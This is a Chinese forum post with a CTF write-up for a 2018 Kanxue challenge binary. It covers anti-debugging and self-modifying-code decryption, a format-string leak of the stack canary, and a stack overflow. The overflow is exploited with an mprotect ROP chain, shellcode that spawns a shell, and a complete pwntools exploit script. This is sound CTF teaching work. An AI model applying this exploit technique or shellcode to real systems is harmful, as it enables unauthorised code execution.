首页
社区
课程
招聘
[原创]看雪2018CTF第三题Writeup
2018-6-21 10:26 2347

[原创]看雪2018CTF第三题Writeup

2018-6-21 10:26
2347

0x00 信息收集

checksec检测程序

0x01 流程分析

将程序拖入IDA分析,首先执行test函数。


test函数通过使用ptrace(PTRACE_TRACEME,0,0,0)系统调用检测自身是否被反调试。

检测完成后返回主函数
 
主函数首先通过mprotect函数调用将代码段属性加入可写属性。
之后向bss段读6字节数据,根据下面判断程序使用了smc,6字节数据为解密密钥。
经分析解密步骤为  解密第一部分使用第一字节为密钥,解密第二部分,使用上一部分密钥xor第二字节,以此类推。
经观察被加密数据发现,程序每隔一段会出现三个字节相同的一段密文。猜测这三字节原本为0x0,事实证明,的确如此,因此每部分解密使用的密钥都可以得到,最终得到密钥evXnaK。

解密完成后的代码有两次输入,第一次可输入长度为1a的数据,并使用printf输出,此处存在格式化字符串信息泄露。
第二次输入长度为0x200,目标为 rsp-0x20,存在栈溢出漏洞。

0x02 攻击分析

1.信息泄露
检测发现程序有canary保护,绕过可使用格式化字符串泄露出canary的值,通过%13$lx%17$lx泄露处canary的值及栈的地址。
2.溢出攻击
程序开启了nx保护,所以栈没有代码执行权限,经过ropgadget发现程序中并没有足够多的rop可以使用,同时最大问题在于并不知道libc的版本,无法得到system函数的地址(试了好几次都失败了所以换思路了。。),程序中存在mprotect系统调用改变代码段属性,在main函数的结尾0x400a9f处存在一处mprotect调用,使rdi指向的内存地址变为可读可执行属性。程序内存在pop rdi,ret的代码,于是可以控制栈为可执行,写入shellcode入栈即可执行。
TIPS:rdi必须为页对齐地址
此处需要满足[rbp-0x8]=canary,由于之前泄露了栈地址,rbp在之前leave指令时可控,于是可以满足。
(开始的shellcode直接是用execve系统调用binsh发现怎么都不成功。在patch ptrace后的程序能执行成功)经查阅资料,被父进程追踪的子进程一旦有信号产生会通知父进程进行处理,在调用execve系统调用后会向父进程发送信号自身退出,父进程并未处理信号导致不成功。

但是做了这么半天又不想放弃,于是继续往下做,通过在shellcode中构造类似system的方式实现提权。

system和execve的区别大家可以百度,大概就是system是fork一个子进程,子进程执行execve(),父进程调用waitpid等待子进程完毕,在此处fork一个新进程后,子进程并未被ptrace,可以调用execve,shellcode结构为。fork()调用——>test eax,eax  jne ......  (子进程执行部分)evecve()系统调用,(父进程执行部分)waitpid()系统调用。
TIPS:查libc得到系统调用号
fork为0x39
execve为 0x3b
waitpid为0x3d

拿到shell。中间细节大家看writeup吧。

0x03 攻击脚本



from pwn import *
p=process('./wow')
context(os='linux', arch='amd64', log_level='debug')
p.read()
z=raw_input()
p.write('evXnaK')
z=raw_input()
p.write('%13$lx%17$lxz')
p.readuntil('wow!\n')
base=int(p.read(16),16)
print hex(base)
stack_base=int(p.readuntil('z')[:-1],16)-0x128
stack=stack_base/0x1000*0x1000

print hex(stack)
print hex(stack_base)
z=raw_input()
pp=''

qq=[

0x48, 0x33, 0xC9,0x48, 0x33, 0xF6,0x48, 0x8D, 0x7C, 0x24, 0xF0,0x48, 0x33, 0xD2, 0xB8, 0x3b, 0x00, 0x00, 0x00, 0x48, 0x33, 0xDB, 0x0F, 0x05

]
for i in range(0,len(qq)):
	pp+=chr(qq[i])
p.write('a'*0x58+p64(base)+p64(stack_base+0x68)+p64(0x400b23)+p64(stack)+p64(0x400a8a)+p64(base)+'/bin/sh'+chr(0x0)+p64(stack_base+0x78)+pp)

p.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回